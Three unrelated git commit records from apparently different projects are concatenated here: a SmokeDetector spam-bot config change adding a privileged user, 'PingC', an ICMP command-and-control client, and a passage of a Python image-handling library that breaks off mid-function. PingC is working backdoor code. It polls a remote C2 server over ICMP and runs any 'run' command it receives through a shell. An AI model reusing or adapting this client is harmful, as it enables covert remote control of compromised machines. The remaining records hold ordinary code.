<commit_before># -*- coding: utf-8 -*-

import os
from datetime import datetime
from ChatExchange.chatexchange.client import Client
import HTMLParser
import md5
import ConfigParser
from helpers import environ_or_none

class GlobalVars:
    false_positives = []
    whitelisted_users = []
    blacklisted_users = []
    ignored_posts = []
    auto_ignored_posts = []
    startup_utc = datetime.utcnow().strftime("%H:%M:%S")
    latest_questions = []
    api_backoff_time = 0
    charcoal_room_id = "11540"
    meta_tavern_room_id = "89"
    socvr_room_id = "41570"
    blockedTime = {"all": 0, charcoal_room_id: 0, meta_tavern_room_id: 0, socvr_room_id: 0}

    experimental_reasons = []  # Don't widely report these
    non_socvr_reasons = []    # Don't report to SOCVR
    non_tavern_reasons = [    # Don't report in the Tavern
        "All-caps body",
        "All-caps answer",
        "Repeating characters in body",
        "Repeating characters in title",
        "Repeating characters in answer",
        "Few unique characters in body",
        "Few unique characters in answer",
        "Few unique characters in body, repeating characters in body",
        "Few unique characters in title, repeating characters in title",
        "Title has only one unique char",
        "Phone number detected in title",
        "Offensive body detected",
    ]
    non_tavern_sites = ["stackoverflow.com"]

    parser = HTMLParser.HTMLParser()
    wrap = Client("stackexchange.com")
    wrapm = Client("meta.stackexchange.com")
    wrapso = Client("stackoverflow.com")
    privileged_users = {
        charcoal_room_id: [
            "117490",   # Normal Human
            "66258",    # Andy
            "31768",    # ManishEarth
            "103081",   # hichris123
            "73046",    # Undo
            "88521",    # ProgramFOX
            "59776",    # Doorknob
            "31465",    # Seth
            "88577",    # Santa Claus
            "34124",    # Andrew Leach
            "54229",    # apnorton
            "20459",    # S.L. Barth
            "32436",    # tchrist
            "30477",    # Brock Adams
            "58529",    # ferrybig
            "145208",   # Robert Longson
            "178825",   # Ms Yvette
            "171800",   # JAL
            "64978",    # PeterJ
            "125141",   # Jeffrey Bosboom
            "54902",    # bummi
            "135450",   # M.A.R.
            "145604",   # Quill
            "60548",    # rene
            "121401",   # michaelpri
            "116218",   # JamesENL
            "82927",    # Braiam
            "11606",    # bwDraco
            "19761",    # Ilmari Karonen
            "108271",   # Andrew T.
            "171054",   # Magisch
            "190011",   # Petter Friberg
            "165661",   # Tunaki
            "145086",   # Wai Ha Lee
            "137665",   # ByteCommander
            "147884",   # wythagoras
            "186395",   # Åna
            "193364",   # Ashish Ahuja
            "163686",   # Gothdo
            "145827",   # angussidney
            "121520",   # ArtOfCode
            "215783",   # KarmaBot (ArtOfCode's sock to test things with)
            "137388",   # QPaysTaxes
            "212311"    # Ryan Bemrose
        ],
        meta_tavern_room_id: [
            "315433",   # Normal Human
            "244519",   # CRABOLO
            "244382",   # TGMCians
            "194047",   # Jan Dvorak
            "158100",   # rene
            "178438",   # Manishearth
            "237685",   # hichris123
            "215468",   # Undo
            "229438",   # ProgramFOX
            "180276",   # Doorknob
            "161974",   # Lynn Crumbling
            "186281",   # Andy
            "266094",   # Unihedro
            "245167",   # Infinite Recursion
            "230261",   # Jason C
            "213575",   # Braiam
            "241919",   # Andrew T.
            "203389",   # backwards-Seth
            "202832",   # Mooseman
            "160017",   # bwDraco
            "201151",   # bummi
            "188558",   # Frank
            "229166",   # Santa Claus
            "159034",   # Kevin Brown
            "203972",   # PeterJ
            "188673",   # Alexis King
            "258672",   # AstroCB
            "227577",   # Sam
            "255735",   # cybermonkey
            "279182",   # Ixrec
            "271104",   # James
            "220428",   # Qantas 94 Heavy
            "153355",   # tchrist
            "238426",   # Ed Cottrell
            "166899",   # Second Rikudo
            "287999",   # ASCIIThenANSI
            "208518",   # JNat
            "284141",   # michaelpri
            "260312",   # vaultah
            "244062",   # SouravGhosh
            "152859",   # Shadow Wizard
            "201314",   # apnorton
            "280934",   # M.A.Ramezani
            "200235",   # durron597
            "148310",   # Awesome Poodles / Brock Adams
            "168333",   # S.L. Barth
            "257207",   # Unikitty
            "244282",   # DroidDev
            "163250",   # Cupcake
            "298265",   # BoomsPlus
            "253560",   # josilber
            "244254",   # misterManSam
            "188189",   # Robert Longson
            "174699",   # Ilmari Karonen
            "202362",   # chmod 666 telkitty
            "289717",   # Quill
            "237813",   # bjb568
            "311345",   # Simon Klaver
            "171881",   # rekire
            "260388",   # Pandya
            "310756",   # Ms Yvette
            "262399",   # Jeffrey Bosboom
            "242209",   # JAL
            "280883",   # ByteCommander
            "302251",   # kos
            "262823",   # ArtOfCode
            "215067",   # Ferrybig
            "308386"    # Magisch
        ],
        socvr_room_id: [
            "1849664",  # Undo
            "2581872",  # hichris123
            "1198729",  # Manishearth
            "3717023",  # Normal Human aka 1999
            "2619912",  # ProgramFOX
            "578411",   # rene
            "1043380",  # gunr2171
            "2246344",  # Sam
            "2756409",  # TylerH
            "1768232",  # durron597
            "359284",   # Kevin Brown
            "258400",   # easwee
            "3622940",  # Unihedron
            "3204551",  # Deduplicator
            "4342498",  # NathanOliver
            "4639281",  # Tiny Giant
            "3093387",  # josilber
            "1652962",  # cimmanon
            "1677912",  # Mogsdad
            "656243",   # Lynn Crumbling
            "3933332",  # Rizier123
            "2422013",  # cybermonkey
            "3478852",  # Nisse Engström
            "2302862",  # Siguza
            "1324",     # Paul Roub
            "1743880",  # Tunaki
            "1663001",  # DavidG
            "2415822",  # JAL
            "4174897",  # Kyll
            "5299236",  # Kevin Guan
            "4050842",  # Thaillie
            "1816093",  # Drew
            "874188",   # Triplee
            "880772",   # approxiblue
            "1835379",  # Cerbrus
            "1843331",  # Tim Castelijns
            "3956566",  # JamesENL
            "2357233",  # Ms Yvette
            "3155639",  # AlexanderOMara
            "462627",   # Praveen Kumar
            "4490559",  # intboolstring
            "1364007",  # Wai Ha Lee
            "1699210",  # bummi
            "563532",   # Rob
            "5389107",  # Magisch
            "4099593",  # bhargav-rao
            "1542723",  # Ferrybig
            "2025923",  # Tushar
            "5292302",  # Petter Friberg
            "792066",   # Braiam
            "5666987",  # Ian
            "3160466",  # ArtOfCode
            "5735775",  # Ashish Ahuja
            "3476191",  # Nobody Nada
            "2227743",  # Eric D
            "821878",   # Ryan Bemrose
            "1413395"  # Panta Rei
        ]
    }
    smokeDetector_user_id = {charcoal_room_id: "120914", meta_tavern_room_id: "266345",
                             socvr_room_id: "3735529"}

    censored_committer_names = {"3f4ed0f38df010ce300dba362fa63a62": "Undo1"}

    commit = os.popen('git log --pretty=format:"%h" -n 1').read()
    commit_author = os.popen('git log --pretty=format:"%an" -n 1').read()

    if md5.new(commit_author).hexdigest() in censored_committer_names:
        commit_author = censored_committer_names[md5.new(commit_author).hexdigest()]

    commit_with_author = os.popen('git log --pretty=format:"%h (' + commit_author + ': *%s*)" -n 1').read()
    on_master = os.popen("git rev-parse --abbrev-ref HEAD").read().strip() == "master"
    charcoal_hq = None
    tavern_on_the_meta = None
    socvr = None
    s = ""
    s_reverted = ""
    specialrooms = []
    apiquota = -1
    bodyfetcher = None
    se_sites = []
    users_chatting = {meta_tavern_room_id: [], charcoal_room_id: [], socvr_room_id: []}
    why_data = []
    why_data_allspam = []
    notifications = []
    listen_to_these_if_edited = []
    multiple_reporters = []
    api_calls_per_site = {}

    config = ConfigParser.RawConfigParser()
    config.read('config')

    latest_smokedetector_messages = {meta_tavern_room_id: [], charcoal_room_id: [], socvr_room_id: []}

    # environ_or_none defined in helpers.py
    bot_name = environ_or_none("SMOKEDETECTOR_NAME") or "SmokeDetector"
    bot_repository = environ_or_none("SMOKEDETECTOR_REPO") or "//github.com/Charcoal-SE/SmokeDetector"
    chatmessage_prefix = "[{}]({})".format(bot_name, bot_repository)

    site_id_dict = {}
    post_site_id_to_question = {}

    location = config.get("Config", "location")
    print location

    metasmoke_ws = None

    try:
        metasmoke_host = config.get("Config", "metasmoke_host")
        print metasmoke_host
    except ConfigParser.NoOptionError:
        metasmoke_host = None
        print "metasmoke host not found. Set it as metasmoke_host in the config file. See https://github.com/Charcoal-SE/metasmoke."

    try:
        metasmoke_key = config.get("Config", "metasmoke_key")
    except ConfigParser.NoOptionError:
        metasmoke_key = ""
        print "No metasmoke key found, which is okay if both are running on the same host"

    try:
        metasmoke_ws_host = config.get("Config", "metasmoke_ws_host")
    except ConfigParser.NoOptionError:
        metasmoke_ws_host = ""
        print "No metasmoke websocket host found, which is okay if you're anti-websocket"
<commit_msg>Add FrankerZ to privileged list for SOCVR<commit_after># -*- coding: utf-8 -*-

import os
from datetime import datetime
from ChatExchange.chatexchange.client import Client
import HTMLParser
import md5
import ConfigParser
from helpers import environ_or_none

class GlobalVars:
    false_positives = []
    whitelisted_users = []
    blacklisted_users = []
    ignored_posts = []
    auto_ignored_posts = []
    startup_utc = datetime.utcnow().strftime("%H:%M:%S")
    latest_questions = []
    api_backoff_time = 0
    charcoal_room_id = "11540"
    meta_tavern_room_id = "89"
    socvr_room_id = "41570"
    blockedTime = {"all": 0, charcoal_room_id: 0, meta_tavern_room_id: 0, socvr_room_id: 0}

    experimental_reasons = []  # Don't widely report these
    non_socvr_reasons = []    # Don't report to SOCVR
    non_tavern_reasons = [    # Don't report in the Tavern
        "All-caps body",
        "All-caps answer",
        "Repeating characters in body",
        "Repeating characters in title",
        "Repeating characters in answer",
        "Few unique characters in body",
        "Few unique characters in answer",
        "Few unique characters in body, repeating characters in body",
        "Few unique characters in title, repeating characters in title",
        "Title has only one unique char",
        "Phone number detected in title",
        "Offensive body detected",
    ]
    non_tavern_sites = ["stackoverflow.com"]

    parser = HTMLParser.HTMLParser()
    wrap = Client("stackexchange.com")
    wrapm = Client("meta.stackexchange.com")
    wrapso = Client("stackoverflow.com")
    privileged_users = {
        charcoal_room_id: [
            "117490",   # Normal Human
            "66258",    # Andy
            "31768",    # ManishEarth
            "103081",   # hichris123
            "73046",    # Undo
            "88521",    # ProgramFOX
            "59776",    # Doorknob
            "31465",    # Seth
            "88577",    # Santa Claus
            "34124",    # Andrew Leach
            "54229",    # apnorton
            "20459",    # S.L. Barth
            "32436",    # tchrist
            "30477",    # Brock Adams
            "58529",    # ferrybig
            "145208",   # Robert Longson
            "178825",   # Ms Yvette
            "171800",   # JAL
            "64978",    # PeterJ
            "125141",   # Jeffrey Bosboom
            "54902",    # bummi
            "135450",   # M.A.R.
            "145604",   # Quill
            "60548",    # rene
            "121401",   # michaelpri
            "116218",   # JamesENL
            "82927",    # Braiam
            "11606",    # bwDraco
            "19761",    # Ilmari Karonen
            "108271",   # Andrew T.
            "171054",   # Magisch
            "190011",   # Petter Friberg
            "165661",   # Tunaki
            "145086",   # Wai Ha Lee
            "137665",   # ByteCommander
            "147884",   # wythagoras
            "186395",   # Åna
            "193364",   # Ashish Ahuja
            "163686",   # Gothdo
            "145827",   # angussidney
            "121520",   # ArtOfCode
            "215783",   # KarmaBot (ArtOfCode's sock to test things with)
            "137388",   # QPaysTaxes
            "212311"    # Ryan Bemrose
        ],
        meta_tavern_room_id: [
            "315433",   # Normal Human
            "244519",   # CRABOLO
            "244382",   # TGMCians
            "194047",   # Jan Dvorak
            "158100",   # rene
            "178438",   # Manishearth
            "237685",   # hichris123
            "215468",   # Undo
            "229438",   # ProgramFOX
            "180276",   # Doorknob
            "161974",   # Lynn Crumbling
            "186281",   # Andy
            "266094",   # Unihedro
            "245167",   # Infinite Recursion
            "230261",   # Jason C
            "213575",   # Braiam
            "241919",   # Andrew T.
            "203389",   # backwards-Seth
            "202832",   # Mooseman
            "160017",   # bwDraco
            "201151",   # bummi
            "188558",   # Frank
            "229166",   # Santa Claus
            "159034",   # Kevin Brown
            "203972",   # PeterJ
            "188673",   # Alexis King
            "258672",   # AstroCB
            "227577",   # Sam
            "255735",   # cybermonkey
            "279182",   # Ixrec
            "271104",   # James
            "220428",   # Qantas 94 Heavy
            "153355",   # tchrist
            "238426",   # Ed Cottrell
            "166899",   # Second Rikudo
            "287999",   # ASCIIThenANSI
            "208518",   # JNat
            "284141",   # michaelpri
            "260312",   # vaultah
            "244062",   # SouravGhosh
            "152859",   # Shadow Wizard
            "201314",   # apnorton
            "280934",   # M.A.Ramezani
            "200235",   # durron597
            "148310",   # Awesome Poodles / Brock Adams
            "168333",   # S.L. Barth
            "257207",   # Unikitty
            "244282",   # DroidDev
            "163250",   # Cupcake
            "298265",   # BoomsPlus
            "253560",   # josilber
            "244254",   # misterManSam
            "188189",   # Robert Longson
            "174699",   # Ilmari Karonen
            "202362",   # chmod 666 telkitty
            "289717",   # Quill
            "237813",   # bjb568
            "311345",   # Simon Klaver
            "171881",   # rekire
            "260388",   # Pandya
            "310756",   # Ms Yvette
            "262399",   # Jeffrey Bosboom
            "242209",   # JAL
            "280883",   # ByteCommander
            "302251",   # kos
            "262823",   # ArtOfCode
            "215067",   # Ferrybig
            "308386"    # Magisch
        ],
        socvr_room_id: [
            "1849664",  # Undo
            "2581872",  # hichris123
            "1198729",  # Manishearth
            "3717023",  # Normal Human aka 1999
            "2619912",  # ProgramFOX
            "578411",   # rene
            "1043380",  # gunr2171
            "2246344",  # Sam
            "2756409",  # TylerH
            "1768232",  # durron597
            "359284",   # Kevin Brown
            "258400",   # easwee
            "3622940",  # Unihedron
            "3204551",  # Deduplicator
            "4342498",  # NathanOliver
            "4639281",  # Tiny Giant
            "3093387",  # josilber
            "1652962",  # cimmanon
            "1677912",  # Mogsdad
            "656243",   # Lynn Crumbling
            "3933332",  # Rizier123
            "2422013",  # cybermonkey
            "3478852",  # Nisse Engström
            "2302862",  # Siguza
            "1324",     # Paul Roub
            "1743880",  # Tunaki
            "1663001",  # DavidG
            "2415822",  # JAL
            "4174897",  # Kyll
            "5299236",  # Kevin Guan
            "4050842",  # Thaillie
            "1816093",  # Drew
            "874188",   # Triplee
            "880772",   # approxiblue
            "1835379",  # Cerbrus
            "1843331",  # Tim Castelijns
            "3956566",  # JamesENL
            "2357233",  # Ms Yvette
            "3155639",  # AlexanderOMara
            "462627",   # Praveen Kumar
            "4490559",  # intboolstring
            "1364007",  # Wai Ha Lee
            "1699210",  # bummi
            "563532",   # Rob
            "5389107",  # Magisch
            "4099593",  # bhargav-rao
            "1542723",  # Ferrybig
            "2025923",  # Tushar
            "5292302",  # Petter Friberg
            "792066",   # Braiam
            "5666987",  # Ian
            "3160466",  # ArtOfCode
            "5735775",  # Ashish Ahuja
            "3476191",  # Nobody Nada
            "2227743",  # Eric D
            "821878",   # Ryan Bemrose
            "1413395",  # Panta Rei
            "4875631"   # FrankerZ
        ]
    }
    smokeDetector_user_id = {charcoal_room_id: "120914", meta_tavern_room_id: "266345",
                             socvr_room_id: "3735529"}

    censored_committer_names = {"3f4ed0f38df010ce300dba362fa63a62": "Undo1"}

    commit = os.popen('git log --pretty=format:"%h" -n 1').read()
    commit_author = os.popen('git log --pretty=format:"%an" -n 1').read()

    if md5.new(commit_author).hexdigest() in censored_committer_names:
        commit_author = censored_committer_names[md5.new(commit_author).hexdigest()]

    commit_with_author = os.popen('git log --pretty=format:"%h (' + commit_author + ': *%s*)" -n 1').read()
    on_master = os.popen("git rev-parse --abbrev-ref HEAD").read().strip() == "master"
    charcoal_hq = None
    tavern_on_the_meta = None
    socvr = None
    s = ""
    s_reverted = ""
    specialrooms = []
    apiquota = -1
    bodyfetcher = None
    se_sites = []
    users_chatting = {meta_tavern_room_id: [], charcoal_room_id: [], socvr_room_id: []}
    why_data = []
    why_data_allspam = []
    notifications = []
    listen_to_these_if_edited = []
    multiple_reporters = []
    api_calls_per_site = {}

    config = ConfigParser.RawConfigParser()
    config.read('config')

    latest_smokedetector_messages = {meta_tavern_room_id: [], charcoal_room_id: [], socvr_room_id: []}

    # environ_or_none defined in helpers.py
    bot_name = environ_or_none("SMOKEDETECTOR_NAME") or "SmokeDetector"
    bot_repository = environ_or_none("SMOKEDETECTOR_REPO") or "//github.com/Charcoal-SE/SmokeDetector"
    chatmessage_prefix = "[{}]({})".format(bot_name, bot_repository)

    site_id_dict = {}
    post_site_id_to_question = {}

    location = config.get("Config", "location")
    print location

    metasmoke_ws = None

    try:
        metasmoke_host = config.get("Config", "metasmoke_host")
        print metasmoke_host
    except ConfigParser.NoOptionError:
        metasmoke_host = None
        print "metasmoke host not found. Set it as metasmoke_host in the config file. See https://github.com/Charcoal-SE/metasmoke."

    try:
        metasmoke_key = config.get("Config", "metasmoke_key")
    except ConfigParser.NoOptionError:
        metasmoke_key = ""
        print "No metasmoke key found, which is okay if both are running on the same host"

    try:
        metasmoke_ws_host = config.get("Config", "metasmoke_ws_host")
    except ConfigParser.NoOptionError:
        metasmoke_ws_host = ""
        print "No metasmoke websocket host found, which is okay if you're anti-websocket"
<|endoftext|>


<commit_before>#! /usr/bin/env python

# PingC ICMP command and control client application
# by NoCow
# This is the client side application for my ICMP C2 project. The client will periodically ping the C2 server
#  and receive commands in the data portion of the reply. I am currently using Scapy for the packet building
# Usage: ./pingc.py <IP>

import sys
import time
import subprocess as sub
from scapy.all import sr,sr1,ICMP,IP

def main(argv):
	while 1:
		if len(argv) < 1:
			print "----------------------------"
			print "PingC Usage"
			print " ./pingc.py <IP>"
			print "----------------------------"
			exit()
		packet=IP(dst=sys.argv[1])/ICMP()/"What shall I do master?"
		#packet.show()
		p=sr1(packet)
		print "[*] String sent to C2 server: What shall I do master?"
		if p:
			#p.show()
			try:
				response=p['Raw'].load
				# Check ICMP data for 'run' command
				print "[*] String received from C2 server: " + p['Raw'].load
				if 'run' in response:
					print "[*] Master says run command: " + response[4:]
					command = response[4:]
					command.split()
					proc = sub.Popen(command,stdout=sub.PIPE,stderr=sub.PIPE,shell=True)
       					output, errors = proc.communicate()
        				print output
        				print errors
				elif 'sysinfo' in response:
					print "[*] Master requesting sysinfo"
				elif 'sleep' in response:
					seconds = response[6:]
					print "[*] Master says sleep for %s seconds" % (seconds)
					print "[*] Sleeping..."
					time.sleep(int(seconds))
			except:
				print "[X] ERROR: ", sys.exc_info()[0]
		print "[*] Sleeping now..."
		time.sleep(300)

if __name__ == "__main__":
   main(sys.argv[1:])

<commit_msg>updated client to accept sleep command<commit_after>#! /usr/bin/env python

# PingC ICMP command and control client application
# by NoCow
# This is the client side application for my ICMP C2 project. The client will periodically ping the C2 server
#  and receive commands in the data portion of the reply. I am currently using Scapy for the packet building
# Usage: ./pingc.py <IP>

import sys
import time
import subprocess as sub
from scapy.all import sr,sr1,ICMP,IP

def sendPingRequest(command):
	packet=IP(dst=sys.argv[1])/ICMP()/command
        #packet.show()
        p=sr1(packet,timeout=5)
        print "[*] String sent to C2 server: " + command
	return p

def processReply(p):
	response=p['Raw'].load
        # Check ICMP data for 'run' command
        print "[*] String received from C2 server: " + p['Raw'].load
        if 'run' in response:
        	print "[*] Master says run command: " + response[4:]
                command = response[4:]
                command.split()
                proc = sub.Popen(command,stdout=sub.PIPE,stderr=sub.PIPE,shell=True)
                output, errors = proc.communicate()
                print output
                print errors
	elif 'sysinfo' in response:
        	print "[*] Master requesting sysinfo"
        elif 'sleep' in response:
		seconds = response[6:]
                print "[*] Master says sleep for %s seconds" % (seconds)
                print "[*] Sleeping..."
                time.sleep(int(seconds))
                p=sendPingRequest("What shall I do master?")
                processReply(p)

def main(argv):
	while 1:
		if len(argv) < 1:
			print "----------------------------"
			print "PingC Usage"
			print " ./pingc.py <IP>"
			print "----------------------------"
			exit()
		p=sendPingRequest("What shall I do master?")
		if p:
			#p.show()
			try:
				response=p['Raw'].load
				# Check ICMP data for 'run' command
				print "[*] String received from C2 server: " + p['Raw'].load
				if 'run' in response:
					print "[*] Master says run command: " + response[4:]
					command = response[4:]
					command.split()
					proc = sub.Popen(command,stdout=sub.PIPE,stderr=sub.PIPE,shell=True)
       					output, errors = proc.communicate()
        				print output
        				print errors
				elif 'sysinfo' in response:
					print "[*] Master requesting sysinfo"
				elif 'sleep' in response:
					seconds = response[6:]
					print "[*] Master says sleep for %s seconds" % (seconds)
					print "[*] Sleeping..."
					time.sleep(int(seconds))
					p=sendPingRequest("What shall I do master?")
					if p:
						processReply(p)
			except:
				print "[X] ERROR: ", sys.exc_info()[0]
		print "[*] Sleeping now..."
		time.sleep(300)

if __name__ == "__main__":
   main(sys.argv[1:])

<|endoftext|>


<commit_before># Copyright (C) 2011 Brad Misik
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
# of the Software, and to permit persons to whom the Software is furnished to do
# so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.

# Set to False to test alternative image processor
use_PIL = True

import string
from multiprocessing import Process
import imp
import os
import tempfile
import subprocess
from time import sleep
import atexit

# Remove our temporary files when the module is unloaded
temp_files = []
def cleanup_temp():
  for filename in temp_files:
    os.remove(filename)
atexit.register(cleanup_temp)

try:
  # Do not attempt an import here
  # Tkinter can't be loaded in a process and its subprocesses simultaneously
  imp.find_module('Tkinter')
  _has_Tk = True
except:
  _has_Tk = False

def _pil_open(filename):
  image = PILImage.open(filename)
  data = image.getdata()
  # Only get the RGB components in case the image is ARGB
  data = [tuple(color[len(color) - 3:]) for color in data]
  return (data, image.size)

def _nopil_open(filename):
  # Run a java utility to print out the pixels of the image to stdout
  command = ['java', '-jar', 'ImagePiper.jar', 'read', filename]
  image_piper = subprocess.Popen(command, stdout=subprocess.PIPE)

  # Read the output from ImagePiper
  stdout, stderr = image_piper.communicate()
  lines = stdout.splitlines()
  # Read the encoding from the first line of output
  radix = int(lines.pop(0))
  # Read the width and the height from the second line of output
  w, h = tuple(int(x, radix) for x in lines.pop(0).split())
  # Read the pixels line by line, with each line corresponding to a line from the image
  data = [Color.int_to_rgb(int(pixel, radix)) for line in lines for pixel in line.split()]
  return (data, (w, h))

def _pil_save(image, filename):
  w, h = image.size
  pil_image = PILImage.new("RGB", (w, h))
  pil_image.putdata(image.data)
  pil_image.save(filename, "png")

def _nopil_save(image, filename):
  # Run a java utility to read in the pixels of the image and save them to a file
  command = ['java', '-jar', 'ImagePiper.jar', 'write', filename]
  image_piper = subprocess.Popen(command, stdout=subprocess.PIPE, stdin=subprocess.PIPE)

  # Read the encoding from ImagePiper and create a codec for it
  radix = int(image_piper.stdout.readline())
  codec = IntegerCodec()
  # Write the width and the height
  w, h = image.size
  image_piper.stdin.write("%s %s\n" % (codec.encode(w, radix), codec.encode(h, radix)))
  # Write the pixels line by line
  pixels = map(lambda pixel: codec.encode(Color.rgb_to_int(pixel), radix), image.data)
  lines = [" ".join(pixels[image._get_index((0, line)):image._get_index((w, line))]) for line in range(h)]
  image_piper.stdin.write("\n".join(lines))
  # Flush the writes
  image_piper.communicate()

try:
  from PIL import Image as PILImage
  _has_PIL = True
except:
  _has_PIL = False

class IntegerCodec:
  def __init__(self):
    self._base_list = string.digits + string.letters + '_@'

  def decode(self, int_string, radix):
    return int(int_string, radix)

  def encode(self, integer, radix):
    # Only encode absolute value of integer
    sign = ''
    if integer < 0:
      sign = '-'
      integer = abs(integer)

    int_string = ''
    while integer != 0:
      int_string = self._base_list[integer % radix] + int_string
      integer /= radix

    return sign + int_string

class Color:
  def __init__(self, color):
    if type(color) is type(0):
      self.color = Color.int_to_rgb(color)
    else:
      self.color = color

  def as_int(self):
    return Color.rgb_to_int(self.color)

  def as_rgb(self):
    return self.color

  @staticmethod
  def int_to_rgb(rgb_int):
    r = (rgb_int >> 16) & 255
    g = (rgb_int >> 8) & 255
    b = rgb_int & 255
    return (r, g, b)

  @staticmethod
  def rgb_to_int(rgb):
    r, g, b = rgb
    rgb_int = r
    rgb_int = (rgb_int << 8) + g
    rgb_int = (rgb_int << 8) + b
    return rgb_int

class Image:
  def __init__(self, *args):
    if type(args[0]) is type("string"):
      # Assume we were passed a filename
      self._open(args[0])
    elif type(args[0]) is type(self):
      # Assume we were passed another image
      self._copy(args[0])
    else:
      # Assume we were passed a size tuple and possibly a color
      self._create(*args)

  def _open(self, filename):
    if _has_PIL and use_PIL:
      _opener = _pil_open
    else:
      _opener = _nopil_open

    self.data, self.size = _opener(filename)

  def _create(self, size, color = (0, 0, 0)):
    w, h = self.size = size
    w, h = int(w), int(h)
    self.data = [color] * w * h

  def _copy(self, image):
    self.size = image.size
    self.data = image.data[:]

  def _get_index(self, loc):
    # Convert an (x, y) pair to a 1-dimensional index
    x, y = loc
    x, y = int(x), int(y)
    w, h = self.size
    return y * w + x

  def getpixel(self, loc):
    return self.data[self._get_index(loc)]

  def putpixel(self, loc, color):
    self.data[self._get_index(loc)] = color

  def temp_file(self):
    handle, filename = tempfile.mkstemp()
    self.save(filename)
    os.close(handle)
    temp_files.append(filename)
    return filename

  def _show_in_os(self):
    # Save the image to a temporary file for another process to read
    filename = self.temp_file()

    if os.name == 'nt':
      os.startfile(filename)
    else:
      # Assume we are on a mac and attempt to use the open command
      retcode = subprocess.call(['open', filename])

      if retcode is not 0:
        # The open command failed, so assume we are on Linux
        subprocess.call(['xdg-open', filename])

  def show(self, default=False, wait=False):
    # Open the image using the user's default imaging viewing application, cannot wait
    if default or not _has_Tk:
      self._show_in_os()
    else:
      # Open the file using our own image viewer
      viewer = ImageViewer(self, wait)

  def save(self, filename):
    if _has_PIL and use_PIL:
      _saver = _pil_save
    else:
      _saver = _nopil_save

    _saver(self, filename)

  @staticmethod
  def new(mode, size, color = (0, 0, 0)):
    #ignore mode for now
    return Image(size, color)

  def copy(self):
    return Image(self)

class ImageViewer():
  def __init__(self, image, block=False):
    self.Tkphoto = ImageViewer._image_to_Tkphoto(image)
    p = Process(target=self.run)
    p.start()

    # Wait for the process to finish if the user requests a block
    if block is True:
      p.join()

  @staticmethod
  def _image_to_Tkphoto(image):
    w, h = image.size
    pixels = map(lambda pixel: "#%02x%02x%02x" % pixel, image.data)
    lines = ["{" + " ".join(pixels[image._get_index((0, line)):image._get_index((w, line))]) + "}" for line in range(h)]
    fill = " ".join(lines)
    return (fill, (w, h))

  def run(self):
    fill, (w, h) = self.Tkphoto

    import Tkinter
    self.root = Tkinter.Tk()
    self.root.title("Info 103 Image Viewer")
    self.root.configure(width=w, height=h)

    # Convert our image to a PhotoImage used by Tkinter
    photo = Tkinter.PhotoImage(width=w, height=h)
    photo.put(fill)

    label = Tkinter.Label(self.root, image=photo)
    label.pack()

    # Use the alternate main loop defined below if IDLE has problems
    '''
    while True:
      try:
        self.root.update()
      except:
        break
    '''
    self.root.mainloop()

<commit_msg>Added equal / not equal operators to Image class<commit_after># Copyright (C) 2011 Brad Misik
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
# of the Software, and to permit persons to whom the Software is furnished to do
# so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.

# Set to False to test alternative image processor
use_PIL = True

import string
from multiprocessing import Process
import imp
import os
import tempfile
import subprocess
from time import sleep
import atexit

# Remove our temporary files when the module is unloaded
temp_files = []
def cleanup_temp():
  for filename in temp_files:
    os.remove(filename)
atexit.register(cleanup_temp)

try:
  # Do not attempt an import here
  # Tkinter can't be loaded in a process and its subprocesses simultaneously
  imp.find_module('Tkinter')
  _has_Tk = True
except:
  _has_Tk = False

def _pil_open(filename):
  image = PILImage.open(filename)
  data = image.getdata()
  # Only get the RGB components in case the image is ARGB
  data = [tuple(color[len(color) - 3:]) for color in data]
  return (data, image.size)

def _nopil_open(filename):
  # Run a java utility to print out the pixels of the image to stdout
  command = ['java', '-jar', 'ImagePiper.jar', 'read', filename]
  image_piper = subprocess.Popen(command, stdout=subprocess.PIPE)

  # Read the output from ImagePiper
  stdout, stderr = image_piper.communicate()
  lines = stdout.splitlines()
  # Read the encoding from the first line of output
  radix = int(lines.pop(0))
  # Read the width and the height from the second line of output
  w, h = tuple(int(x, radix) for x in lines.pop(0).split())
  # Read the pixels line by line, with each line corresponding to a line from the image
  data = [Color.int_to_rgb(int(pixel, radix)) for line in lines for pixel in line.split()]
  return (data, (w, h))

def _pil_save(image, filename):
  w, h = image.size
  pil_image = PILImage.new("RGB", (w, h))
  pil_image.putdata(image.data)
  pil_image.save(filename, "png")

def _nopil_save(image, filename):
  # Run a java utility to read in the pixels of the image and save them to a file
  command = ['java', '-jar', 'ImagePiper.jar', 'write', filename]
  image_piper = subprocess.Popen(command, stdout=subprocess.PIPE, stdin=subprocess.PIPE)

  # Read the encoding from ImagePiper and create a codec for it
  radix = int(image_piper.stdout.readline())
  codec = IntegerCodec()
  # Write the width and the height
  w, h = image.size
  image_piper.stdin.write("%s %s\n" % (codec.encode(w, radix), codec.encode(h, radix)))
